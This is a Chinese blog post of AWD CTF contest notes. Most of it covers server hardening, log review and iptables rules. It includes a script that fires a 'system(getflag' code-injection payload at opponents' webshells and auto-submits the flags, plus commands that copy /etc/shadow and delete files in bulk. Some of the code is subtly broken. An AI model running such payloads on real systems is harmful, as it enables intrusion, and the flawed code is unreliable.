Awd Note

Share on:

线下攻防赛笔记。

从下面几个方面入手。

拿到服务器

passwd命令修改用户密码,数据库密码,数据库中的网站账户密码

查看/etc/passwd下的后门用户,删除

备份/var/www/html/下的源码,d盾扫描后门

禁止修改文件夹内容chattr -R +i /var/www/html

看下最近的敏感操作

1cat /root/.bash_history

看下最近登录的账户 lastlog

1last -n 5|awk '{print $1}'

ps aux ps -ef查看诡异进程 查看已建立的网络连接及进程

1netstat -antulp | grep EST

批量杀进程

1kill `ps aux|grep 进程名|awk {'print $2'}`

查找24小时内修改的文件

1find ./ -mtime 0 -name "*.php"

ssh加固

/etc/ssh/sshd_config

修改ssh端口号

增加条目

1AllowUsers root
2AllowGroups root
3DenyUsers	看情况
4DenyGroups	看情况
1/etc/hosts.allow
2/etc/hosts.deny
3# cat hosts.allow
4sshd: 172.24.11. , 172.24.12.	//sshd只允许这两个ip段链接

更改完需要重启ssh服务

MySQL加固

备份mysql数据库

1mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
2mysqldump --all-databases > bak.sql

还原mysql数据库

1mysql -u 用户名 -p 密码 数据库名 < bak.sql

删除phpmyadmin

更改MySQL root密码

方法1: 用SET PASSWORD命令

1mysql -u root
2mysql> SET PASSWORD FOR ['root'@'localhost'](mailto:'root'@'localhost') = PASSWORD('newpass');

方法2:用mysqladmin

1mysqladmin -u root password "newpass"

如果root已经设置过密码,采用如下方法

1mysqladmin -u root password oldpass "newpass"

方法3: 用UPDATE直接编辑user表

1mysql -u root
2
3mysql> use mysql;
4
5mysql> UPDATE user SET Password = PASSWORD('newpass') WHERE user = 'root';
6
7mysql> FLUSH PRIVILEGES;

在没有root密码的时候,可以这样

1mysqld_safe --skip-grant-tables&
2
3mysql -u root mysql
4
5mysql> UPDATE user SET password=PASSWORD("new password") WHERE user='root';
6
7mysql> FLUSH PRIVILEGES;

日志

日志路径

 1/var/log/auth.log
 2/var/log/apache2/access.log
 3/var/log/apache2/error.log
 4/var/log/messages
 5lastlog
 6last
 7lastb
 8/var/log/maillog
 9/var/log/secure 
10find / -name nginx.conf nginx的配置文件中有日志目录
11access_log /var/log/nginx/access.log;
12error_log /var/log/nginx/error.log;
13tomcat的日志默认是存放在安装目录下的logs目录下

查看访问最多的前十个IP

1cat /var/log/apache2/access.log |cut -d ' ' -f1|sort|uniq -c|sort -r|head -n 10

查看访问最多的前十个url

1cat /var/log/apache2/access.log |cut -d ' ' -f7|sort|uniq -c|sort -r|head -n 10

文件监控

1git clone https://github.com/seb-m/pyinotify.git
2cd pyinotify/
3python setup.py install

启动监控

1python -m pyinotify /var/www/html/

网络监控

iptables操作

开放端口

 1#开放ssh
 2iptables -A INPUT -p tcp --dport 22 -j ACCEPT
 3iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
 4#打开80端口iptables -A INPUT -p tcp --dport 80 -j ACCEPT
 5iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
 6#开启多端口简单用法
 7iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
 8#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
 9iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
10iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT

限制IP和访问速率

1#单个IP的最大连接数为 30
2iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
3#单个IP在60秒内只允许最多新建15个连接
4iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECTiptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
5#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
6iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPTiptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

放DDOS

1iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT

iptables-save 保存

批量提交flag

下面是在iscc2019下线awd中用到的脚本

 1#!/usr/bin/env python
 2# -*- coding: utf-8 -*-
 3import requests
 4
 5
 6def getflag(ip):
 7    # 批量获取shell
 8    url = "http://{}/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php".format(ip)
 9    print(url)
10
11    data = {
12        'a': 'a=1);system(getflag',
13    }
14    res = requests.post(url, data, ).content
15    print res[758:-1]
16    if 'flag' in res:
17        postflag(res[758:-1])
18
19
20def postflag(flag):
21    flag = flag.replace('\n','').replace('\t','').strip()
22    headers = {
23        'Cookie': 'MacaronSession=b54f71d79035ee55'
24    }
25    data = {
26        'flag': flag
27    }
28    print flag
29    r = requests.post('http://172.16.100.5:4000/sendconflictflag', data=data, headers=headers)
30    print(r.content)
31
32def getip():
33    with open('ip.txt', 'r') as f:
34        ips = [ip.strip('\n').replace('\t', '') for ip in f.readlines()]
35        for ip in ips:
36            # print(ip[0:3])
37            try:
38
39                if ip[0:3] == '119':
40                    getflag(ip[1:])
41                # if ip[:3] == '192':
42                #     getflag(ip[1:])
43            except:
44                continue
45
46if __name__ == '__main__':
47    # for ip in range(1, 255):
48    # getflag('192.168.{}.1'.format(ip))
49    # getflag('127.0.0.1')
50    getip()

其他的脚本

  1#!/usr/bin/env python
  2# -*- coding: utf-8 -*-
  3# author:Y4er
  4import logging
  5import random
  6import string
  7import paramiko
  8
  9logger = logging.getLogger("Logger")
 10logger.setLevel(logging.DEBUG)
 11handler = logging.StreamHandler()
 12formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
 13handler.setFormatter(formatter)
 14logger.addHandler(handler)
 15
 16
 17def randomStr(size=16, chars=string.ascii_uppercase + string.digits):
 18    return ''.join(random.choice(chars) for _ in range(size))
 19
 20
 21def changeSSHPwd(host, username, newpasswd='root', port=22, timeout=5):
 22    '''
 23    更改ssh root密码并返回链接会话对象
 24    :param host: ip地址
 25    :param username: root
 26    :param newpasswd: 新密码
 27    :param port: 端口默认22
 28    :param timeout: 连接超时5s
 29    :return:
 30    '''
 31    try:
 32        ssh = paramiko.SSHClient()
 33        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 34        ssh.connect(host, port, username, newpasswd, timeout=timeout)
 35        logger.info("{} 链接成功.".format(host))
 36
 37        stdin, stdout, stderr = ssh.exec_command('id')
 38        logger.info("当前用户权限:%s" % stdout.read().strip('\n'))
 39        stdin, stdout, stderr = ssh.exec_command('echo {}:{}|chpasswd {}'.format(username, newpasswd, username))
 40        logger.warning('尝试更改{}密码为:{}.'.format(host, newpasswd))
 41
 42    except Exception as e:
 43        logging.error("{} ssh connect fail.{}".format(host, e))
 44        exit(0)
 45    return ssh
 46
 47
 48def check(session):
 49    '''
 50    显示一些基本信息
 51    :param session: ssh会话
 52    :param rootpass: 原root密码
 53    :return:
 54    '''
 55    stdin, stdout, stderr = session.exec_command(
 56        '''sudo cat /etc/passwd|grep -v nologin|awk -F ":" {'print $1"|"$3"|"$4"|"$6'}''')
 57    logger.info("显示可疑用户\n" + stdout.read())
 58
 59    stdin, stdout, stderr = session.exec_command('''last -n 10|awk '{print $1}' ''')
 60    logger.info("显示最近登录的10个用户\n" + stdout.read())
 61
 62    stdin, stdout, stderr = session.exec_command(
 63        '''find / -iname "*upload*" |grep php ''')
 64    logger.info("可疑上传文件的脚本\n" + stdout.read())
 65
 66    stdin, stdout, stderr = session.exec_command(
 67        '''netstat -natlp |sed '1,2d'|awk -F " " {'print $4"|"$5"|"$6'} ''')
 68    logger.info("所有开放的端口号\n本地主机|远程主机|状态\n" + stdout.read())
 69
 70    stdin, stdout, stderr = session.exec_command(
 71        '''netstat -antulp | grep EST ''')
 72    logger.info("查看已建立的网络连接及进程\n" + stdout.read())
 73
 74    stdin, stdout, stderr = session.exec_command(
 75        '''find / -mtime 0 -name "*.php" ''')
 76    logger.info("查找24小时内修改的文件\n" + stdout.read())
 77
 78
 79def bak(session, rootpass, newrootpass='root'):
 80    '''
 81    备份文件
 82    :param session:ssh会话
 83    :return:
 84    '''
 85    session.exec_command(
 86        '''sudo cp /etc/passwd /tmp/passwd && sudo cp /etc/shadow /tmp/shadow ''')
 87    logger.info("备份passwd和shadow到/tmp/")
 88
 89    stdin, stdout, stderr = session.exec_command(
 90        '''mkdir /tmp/www/ && cp -R /var/www/html/ /tmp/www/ ''')
 91    logger.info("备份/var/www/html/到/tmp/www/")
 92
 93    session.exec_command(
 94        '''mkdir /tmp/database/ && mysqldump -uroot -p{} --all-databases > /tmp/database/all.sql'''.format(rootpass))
 95    logger.info("备份MySQL数据库到/tmp/database/all.sql")
 96
 97    session.exec_command('''find / -iname "phpinfo.php"|xargs rm -rf''')
 98    logger.warning("删除phpinfo.php")
 99
100    session.exec_command('''find / -type d -iname "*phpmyadmin*"|xargs rm -rf''')
101    logger.warning("删除phpmyadmin")
102
103    session.exec_command('''mysqladmin -u root -p{} password {}'''.format(rootpass, newrootpass))
104    logger.warning("修改MySQL root账户密码为{}".format(newrootpass))
105    session.exec_command('''service mysql restart''')
106
107
108def defend(session, ip):
109    '''
110    加固措施
111    :param session: ssh会话
112    :param ip: 你的ip或c段
113    :return:
114    '''
115    stdin, stdout, stderr = session.exec_command('''echo "sshd:{}" >> /etc/hosts.allow '''.format('ip'))
116    logger.warning("添加{}到/etc/hosts.allow".format(ip))
117    stdin, stdout, stderr = session.exec_command('''service ssh restart''')
118
119    stdin, stdout, stderr = session.exec_command(
120        '''mkdir -R /bin/zzrvtc/ && mv /bin/curl /bin/zzrvtc/curl && mv /bin/wget /bin/zzrvtc/wget && mv /bin/ls /bin/zzrvtc/ls && mv /bin/cd /bin/zzrvtc/cd&&mv /bin/ll /bin/zzrvtc/ll''')
121    logger.warning("移动curl wget cd ls ll命令到/bin/zzrvtc/下 {}".format(stdout.read()))
122
123
124if __name__ == '__main__':
125    # 更改ssh密码为root
126    session = changeSSHPwd('192.168.24.128', 'root', 'root')
127    # check
128    check(session)
129    # 更改mysql密码为root
130    bak(session, 'root')
131    # 防御策略
132    defend(session,'192.168.24.128/24')
1批量给php文件引用waf.php
2find . -type f -name "*.php"|xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"